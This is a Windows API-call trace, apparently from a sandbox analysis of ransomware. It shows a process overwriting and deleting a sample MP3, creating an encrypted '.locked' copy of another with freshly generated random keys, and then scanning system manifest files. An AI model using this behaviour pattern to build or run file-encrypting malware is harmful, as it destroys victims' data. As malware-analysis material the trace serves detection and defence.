	[0083.505] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.505] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0083.506] WriteFile (in: hFile=0xc0, lpBuffer=0x127f0000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x127f0000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0083.524] CloseHandle (hObject=0xc0) returned 1
	[0083.524] DeleteFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Maid with the Flaxen Hair.mp3" (normalized: "c:\\users\\public\\music\\sample music\\maid with the flaxen hair.mp3")) returned 1
	[0083.527] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459)) returned 1
	[0083.527] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.527] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0083.527] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Sleep Away.mp3.locked" (normalized: "c:\\users\\public\\music\\sample music\\sleep away.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0083.528] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0083.528] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d0040 | out: pbBuffer=0x125d0040) returned 1
	[0083.528] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d41a0 | out: pbBuffer=0x123d41a0) returned 1
	[0083.528] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416101 | out: pbBuffer=0x12416101) returned 1
	[0083.528] WriteFile (in: hFile=0xc4, lpBuffer=0x12409000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12409000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0083.530] SetEvent (hEvent=0x80) returned 1
	[0083.530] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x49e459, lpOverlapped=0x0) returned 1
	[0083.671] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.672] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.835] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.877] SetEvent (hEvent=0x80) returned 1
	[0083.877] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.877] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.896] SetEvent (hEvent=0x80) returned 1
	[0083.896] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.897] SetEvent (hEvent=0x6c) returned 1
	[0083.897] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.951] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.951] SetEvent (hEvent=0x6c) returned 1
	[0083.951] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.952] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0083.989] SetEvent (hEvent=0x6c) returned 1
	[0083.989] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.005] SetEvent (hEvent=0x6c) returned 1
	[0084.005] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.007] SetEvent (hEvent=0x6c) returned 1
	[0084.007] SwitchToThread () returned 1
	[0084.008] SetEvent (hEvent=0x6c) returned 1
	[0084.008] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.008] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.051] SetEvent (hEvent=0xb4) returned 1
	[0084.051] SetEvent (hEvent=0x80) returned 1
	[0084.051] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.052] SetEvent (hEvent=0xb4) returned 1
	[0084.052] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.069] SetEvent (hEvent=0x6c) returned 1
	[0084.069] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.082] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.101] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.129] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.151] SetEvent (hEvent=0x6c) returned 1
	[0084.151] SetEvent (hEvent=0x80) returned 1
	[0084.151] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0084.161] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.161] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0084.161] SetEvent (hEvent=0x6c) returned 1
	[0084.161] SetEvent (hEvent=0x80) returned 1
	[0084.161] SetEvent (hEvent=0x8c) returned 1
	[0084.161] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.162] SetEvent (hEvent=0xa8) returned 1
	[0084.162] SetEvent (hEvent=0x8c) returned 1
	[0084.162] SetEvent (hEvent=0xb4) returned 1
	[0084.162] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.171] SetEvent (hEvent=0xb4) returned 1
	[0084.171] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.172] SetEvent (hEvent=0xb4) returned 1
	[0084.172] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.172] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.191] SetEvent (hEvent=0xb4) returned 1
	[0084.191] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.192] SetEvent (hEvent=0x8c) returned 1
	[0084.192] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.431] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.432] SetEvent (hEvent=0x8c) returned 1
	[0084.432] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.432] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.663] SetEvent (hEvent=0x80) returned 1
	[0084.663] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.664] SetEvent (hEvent=0x80) returned 1
	[0084.664] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.670] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.689] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.708] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.752] SetEvent (hEvent=0xb4) returned 1
	[0084.752] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.752] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.783] SetEvent (hEvent=0xb4) returned 1
	[0084.783] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.785] SetEvent (hEvent=0xb4) returned 1
	[0084.785] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.786] SetEvent (hEvent=0xb4) returned 1
	[0084.786] SwitchToThread () returned 1
	[0084.786] SetEvent (hEvent=0xb4) returned 1
	[0084.786] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.786] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.814] SetEvent (hEvent=0x6c) returned 1
	[0084.814] SetEvent (hEvent=0x80) returned 1
	[0084.814] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.819] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.849] SetEvent (hEvent=0xb4) returned 1
	[0084.849] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.866] SetEvent (hEvent=0xb4) returned 1
	[0084.866] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.868] SetEvent (hEvent=0xb4) returned 1
	[0084.868] SwitchToThread () returned 1
	[0084.868] SetEvent (hEvent=0xb4) returned 1
	[0084.868] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0084.868] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0085.028] SetEvent (hEvent=0x8c) returned 1
	[0085.028] SetEvent (hEvent=0x6c) returned 1
	[0085.029] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0085.138] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0086.265] SetEvent (hEvent=0xb4) returned 1
	[0086.265] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0086.281] SetEvent (hEvent=0xb4) returned 1
	[0086.281] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0086.283] SetEvent (hEvent=0xb4) returned 1
	[0086.283] SwitchToThread () returned 1
	[0086.283] SetEvent (hEvent=0xb4) returned 1
	[0086.283] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0086.284] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0086.574] SetEvent (hEvent=0xb4) returned 1
	[0086.574] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0086.578] SetEvent (hEvent=0x8c) returned 1
	[0086.578] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0087.629] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0087.631] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0088.639] SetEvent (hEvent=0xb4) returned 1
	[0088.639] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0088.639] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0089.129] SetEvent (hEvent=0x80) returned 1
	[0089.129] SetEvent (hEvent=0x8c) returned 1
	[0089.129] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0089.130] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0090.485] SetEvent (hEvent=0xb4) returned 1
	[0090.485] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0090.486] SetEvent (hEvent=0x80) returned 1
	[0090.487] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0091.539] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0091.540] SetEvent (hEvent=0x80) returned 1
	[0091.540] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0091.541] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0092.198] SetEvent (hEvent=0x80) returned 1
	[0092.198] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0092.199] SetEvent (hEvent=0x80) returned 1
	[0092.199] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0092.817] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0092.817] SetEvent (hEvent=0x80) returned 1
	[0092.817] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0092.818] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0098.062] SetEvent (hEvent=0x8c) returned 1
	[0098.062] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0098.063] SetEvent (hEvent=0x8c) returned 1
	[0098.063] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0099.462] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0099.463] SetEvent (hEvent=0x8c) returned 1
	[0099.463] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0099.464] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0100.487] SetEvent (hEvent=0x6c) returned 1
	[0100.487] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0100.489] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0100.527] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.100] SetEvent (hEvent=0xb4) returned 1
	[0101.100] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.119] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.285] SetEvent (hEvent=0x6c) returned 1
	[0101.285] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.373] SetEvent (hEvent=0x6c) returned 1
	[0101.373] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.386] SetEvent (hEvent=0xb4) returned 1
	[0101.386] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0101.392] SetEvent (hEvent=0xb4) returned 1
	[0101.392] SetEvent (hEvent=0x80) returned 1
	[0101.392] SetEvent (hEvent=0x8c) returned 1
	[0101.392] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.393] SetEvent (hEvent=0x8c) returned 1
	[0101.393] SetEvent (hEvent=0x6c) returned 1
	[0101.393] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.402] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.421] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.521] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.857] SetEvent (hEvent=0x6c) returned 1
	[0101.857] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0101.857] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0102.580] SetEvent (hEvent=0x8c) returned 1
	[0102.580] SetEvent (hEvent=0x80) returned 1
	[0102.580] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0102.582] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0103.369] SetEvent (hEvent=0x8c) returned 1
	[0103.369] SetEvent (hEvent=0xb4) returned 1
	[0103.369] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0103.370] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0104.231] SetEvent (hEvent=0x80) returned 1
	[0104.231] SetEvent (hEvent=0x8c) returned 1
	[0104.231] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0104.233] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.125] SetEvent (hEvent=0xb4) returned 1
	[0105.125] SetEvent (hEvent=0x80) returned 1
	[0105.125] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.126] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.334] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.441] SetEvent (hEvent=0x6c) returned 1
	[0105.441] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0105.549] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.549] SetEvent (hEvent=0x6c) returned 1
	[0105.549] SetEvent (hEvent=0x80) returned 1
	[0105.549] SetEvent (hEvent=0x8c) returned 1
	[0105.549] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.550] SetEvent (hEvent=0xa8) returned 1
	[0105.550] SetEvent (hEvent=0x8c) returned 1
	[0105.550] SetEvent (hEvent=0xb4) returned 1
	[0105.550] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.648] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.860] SetEvent (hEvent=0x8c) returned 1
	[0105.861] SetEvent (hEvent=0x80) returned 1
	[0105.861] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0105.960] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.960] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x0
	[0105.960] SetEvent (hEvent=0x8c) returned 1
	[0105.960] SetEvent (hEvent=0x80) returned 1
	[0105.960] SetEvent (hEvent=0x6c) returned 1
	[0105.960] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0105.960] SetEvent (hEvent=0xa8) returned 1
	[0105.961] SetEvent (hEvent=0x6c) returned 1
	[0105.961] SetEvent (hEvent=0xb4) returned 1
	[0105.961] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0106.059] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0106.359] SetEvent (hEvent=0x6c) returned 1
	[0106.359] SetEvent (hEvent=0x80) returned 1
	[0106.359] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0106.401] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0106.401] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0x1) returned 0x102
	[0106.403] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0106.403] SetEvent (hEvent=0x6c) returned 1
	[0106.403] SetEvent (hEvent=0x80) returned 1
	[0106.403] SetEvent (hEvent=0xb4) returned 1
	[0106.403] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0106.403] SetEvent (hEvent=0xa8) returned 1
	[0106.403] SetEvent (hEvent=0xb4) returned 1
	[0106.403] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..r-chinesesimplified_31bf3856ad364e35_7.0.7600.16385_none_e080a37b30fde6d2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..r-chinesesimplified_31bf3856ad364e35_7.0.7600.16385_none_e080a37b30fde6d2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbc78 | out: lpFileInformation=0x129dbc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d38c0b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x85d38c0b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3e43f326, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x13ef)) returned 1
	[0106.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..r-english.resources_31bf3856ad364e35_7.0.7600.16385_en-us_f0540aa169ef1640.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..r-english.resources_31bf3856ad364e35_7.0.7600.16385_en-us_f0540aa169ef1640.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbcc8 | out: lpFileInformation=0x129dbcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf302840a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf302840a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x34f)) returned 1
	[0106.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..r-tifffilter-events_31bf3856ad364e35_6.1.7600.16385_none_1189455cf3fb50bb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..r-tifffilter-events_31bf3856ad364e35_6.1.7600.16385_none_1189455cf3fb50bb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbd18 | out: lpFileInformation=0x129dbd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ae585f, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x85ae585f, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x7a346900, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x47a4)) returned 1
	[0106.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..r-webclnt.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9b5fe635ea4f5d2f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..r-webclnt.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9b5fe635ea4f5d2f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbd68 | out: lpFileInformation=0x129dbd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1ec16d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa1ec16d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9c7)) returned 1
	[0106.404] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..rastructure-upgrade_31bf3856ad364e35_6.1.7600.16385_none_b096a84b9ca231ac.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..rastructure-upgrade_31bf3856ad364e35_6.1.7600.16385_none_b096a84b9ca231ac.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbdb8 | out: lpFileInformation=0x129dbdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e6ccedf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x113e6c18, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xed76ec3c, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xf18)) returned 1
	[0106.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..rastructure-ws2ifsl_31bf3856ad364e35_6.1.7600.16385_none_ab7b927be17eace8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..rastructure-ws2ifsl_31bf3856ad364e35_6.1.7600.16385_none_ab7b927be17eace8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbe08 | out: lpFileInformation=0x129dbe08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e680c25, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x148cbb7c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6d3d5a72, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xe23)) returned 1
	[0106.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..reakerstemmer-dutch_31bf3856ad364e35_7.0.7600.16385_none_a71ac49bd1d9d0e3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..reakerstemmer-dutch_31bf3856ad364e35_7.0.7600.16385_none_a71ac49bd1d9d0e3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbe58 | out: lpFileInformation=0x129dbe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d84ec5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x85d84ec5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7f670313, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x6a3)) returned 1
	[0106.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..reakerstemmer-other_31bf3856ad364e35_7.0.7600.16385_none_9b28eb531ae747dd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..reakerstemmer-other_31bf3856ad364e35_7.0.7600.16385_none_9b28eb531ae747dd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbea8 | out: lpFileInformation=0x129dbea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85df72dc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x85df72dc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7f72e9e4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x48bd)) returned 1
	[0106.405] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..reg-folder-settings_31bf3856ad364e35_6.1.7601.17514_none_eca9ea289a1cc7c8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..reg-folder-settings_31bf3856ad364e35_6.1.7601.17514_none_eca9ea289a1cc7c8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129dbef8 | out: lpFileInformation=0x129dbef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f594ef2, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4f594ef2, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x4f5bb052, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x7cde)) returned 1
